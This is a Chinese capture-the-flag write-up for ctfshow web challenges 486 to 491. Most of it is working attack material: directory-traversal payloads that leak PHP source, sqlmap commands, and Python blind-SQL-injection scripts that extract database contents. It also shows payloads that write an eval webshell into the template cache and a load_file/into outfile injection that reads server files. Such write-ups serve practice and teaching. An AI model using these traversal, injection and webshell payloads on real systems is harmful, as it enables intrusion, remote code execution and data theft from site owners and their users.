web486
目录穿越
发现这里有file_get_contents
函数
action=../flag
拿到flag
web487
action=../index
<?php
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}
if($action=='check'){
$username=$_GET['username'];
$password=$_GET['password'];
$sql = "select id from user where username = md5('$username') and password=md5('$password') order by id limit 1";
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$username));
}else{
header('location:index.php?action=login');
}
}
if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}
?action=../render/db_class
查看库名是ctfshow
获取select_one
方法
public static function select_one($sql){
$conn = db::getConnection();
$result=$conn->query($sql);
if($result){
return $result->fetch_object();
}
}
?action=../render/render_class
<?php
ini_set('display_errors', 'On');
include('file_class.php');
include('cache_class.php');
class templateUtil {
public static function render($template,$arg=array()){
if(cache::cache_exists($template)){
echo cache::get_cache($template);
}else{
$templateContent=fileUtil::read('templates/'.$template.'.php');
$cache=templateUtil::shade($templateContent,$arg);
cache::create_cache($template,$cache);
echo $cache;
}
}
public static function shade($templateContent,$arg){
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
}
return $templateContent;
}
}
?action=../render/cache_class
class cache{
public static function create_cache($template,$content){
if(file_exists('cache/'.md5($template).'.php')){
return true;
}else{
fileUtil::write('cache/'.md5($template).'.php',$content);
}
}
public static function get_cache($template){
return fileUtil::read('cache/'.md5($template).'.php');
}
public static function cache_exists($template){
return file_exists('cache/'.md5($template).'.php');
}
}
?action=../render/file_class
class fileUtil{
public static function read($filename){
return file_get_contents($filename);
}
public static function write($filename,$content,$append =0){
if($append){
file_put_contents($filename, $content,FILE_APPEND);//追加模式,非覆盖
}else{
file_put_contents($filename, $content);
}
}
}
代码全部搞出来了
首先action=login->触发render-> 触发create_cache 然后访问cache/md5($template).php进行RCE不对$template不知道是啥我发现,所以只能注入
用’)闭合
猜测username是注入点
(其实password也是)
但是我们用sqlmap是不影响
自动时间盲注,然后找sleep我觉得很强,不用自己找payload写脚本
sqlmap -u "https://647552a8-3fd6-4993-b474-d02971206139.challenge.ctf.show/index.php?action=check&username=1&password=1" --dbs
sqlmap -u "https://cadd53f9-fb40-4b45-81bc-a190f1809a7f.challenge.ctf.show/index.php?action=check&username=1&password=1" -D ctfshow --tables
sqlmap -u "https://cadd53f9-fb40-4b45-81bc-a190f1809a7f.challenge.ctf.show/index.php?action=check&username=1&password=1" -D ctfshow -T flag --dump
测出布尔盲注?action=check&username=0')|| 1=1--+&password=1
但是貌似网站有问题,ssl认证过不了
import requests
flag = ""
i = 0
while True:
i += 1
low = 32
high = 127
while low < high:
mid = (high + low) // 2
# url = f"https://647552a8-3fd6-4993-b474-d02971206139.challenge.ctf.show/index.php?action=check&username=0')||(if(ascii(substr((database()),{i},1))>{mid},1,0))--+&password=1"
# url = f"https://647552a8-3fd6-4993-b474-d02971206139.challenge.ctf.show/index.php?action=check&username=0')||(if(ascii(substr((Select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid},1,0))--+&password=1"
# url = f"https://647552a8-3fd6-4993-b474-d02971206139.challenge.ctf.show/index.php?action=check&username=0')||(if(ascii(substr((SElect(group_concat(table_name))from(information_schema.tables)where(table_schema)='ctfshow'),{i},1))>{mid},1,0))--+&password=1"
# url = f"https://647552a8-3fd6-4993-b474-d02971206139.challenge.ctf.show/index.php?action=check&username=0')||(if(ascii(substr((SElect(group_concat(column_name))from(information_schema.columns)where(table_name)='flag'),{i},1))>{mid},1,0))--+&password=1"
url = f"http://647552a8-3fd6-4993-b474-d02971206139.challenge.ctf.show/index.php?action=check&username=0')||(if(ascii(substr((SElect(group_concat(flag))from(ctfshow.flag)),{i},1))>{mid},1,0))--+&password=1"
r = requests.get(url=url)
if 'admin' in r.text:
low = mid + 1
else:
high = mid
if low != 32:
flag += chr(low)
else:
break
print("\r"+flag,end="")
把https换成http也可以解决
web488
这道题有种代码审计的感觉
先action=../index
访问源文件
<?php
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}
if($action=='check'){
$username=$_GET['username'];
$password=$_GET['password'];
$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$username));
}else{
templateUtil::render('error',array('username'=>$username));
}
}
if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}
看到index可以用上题审计出来的链子了
因为sql语句不成功所以文件名为md5(error).php
写马
action=check&username=<?=eval($_POST[1]);?>&password=1
访问url/cache/cb5e100e5a9a3e7f6d1fd97512215282.php进行rce
web489
<?php
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}
if($action=='check'){
$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
extract($_GET);
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$username));
}else{
templateUtil::render('error');
}
}
if($action=='clear'){
system('rm -rf cache/*');
die('cache clear');
}
if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}
看了一下就是写不进error了但是可以写index.php
变量覆盖使得SQL成功进行
action=check&username=<?=eval($_POST[1]);?>&password=1&sql=select 1;
url/cache/6a992d5529f459a44fee58c733255e86.php进行rce
思路就是这样然后发现还有需要clear删除之前的东西
web490
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
sql语句正常了,还是可以写index
action=check&username=-1'union select '<?=eval($_POST[1]);?>'--+&password=1
action=check&username=-1'union select 'eval($_POST[1]);'--+&password=1
url/cache/6a992d5529f459a44fee58c733255e86.php进行rce
别忘了clear
web491
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
我们猜测flag在根目录下面,写文件然后访问
action=check&username=1' union select load_file("/flag") into outfile "/tmp/6.php"--+&password=1
action=../../../../../../../tmp/6
sqlmap -u "https://e92dd2f2-c203-4291-bb04-641310b42dcf.challenge.ctf.show/index.php?action=check&username=1&password=1" -D ctfshow -T user --dump
import requests
import time
flag = ''
for i in range(1,250):
time.sleep(0.04)
low = 32
high = 128
mid = (low+high)//2
while(low<high):
payload = "http://e92dd2f2-c203-4291-bb04-641310b42dcf.challenge.ctf.show/index.php?action=check&username=admin' or ascii(substr((select load_file('/flag')),{0},1))>{1}--+&password=1".format(i,mid)
r = requests.get(payload)#get 方法传数据
# print(payload)
# time.sleep(0.04)
if 'flag' in r.text:#二分法
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)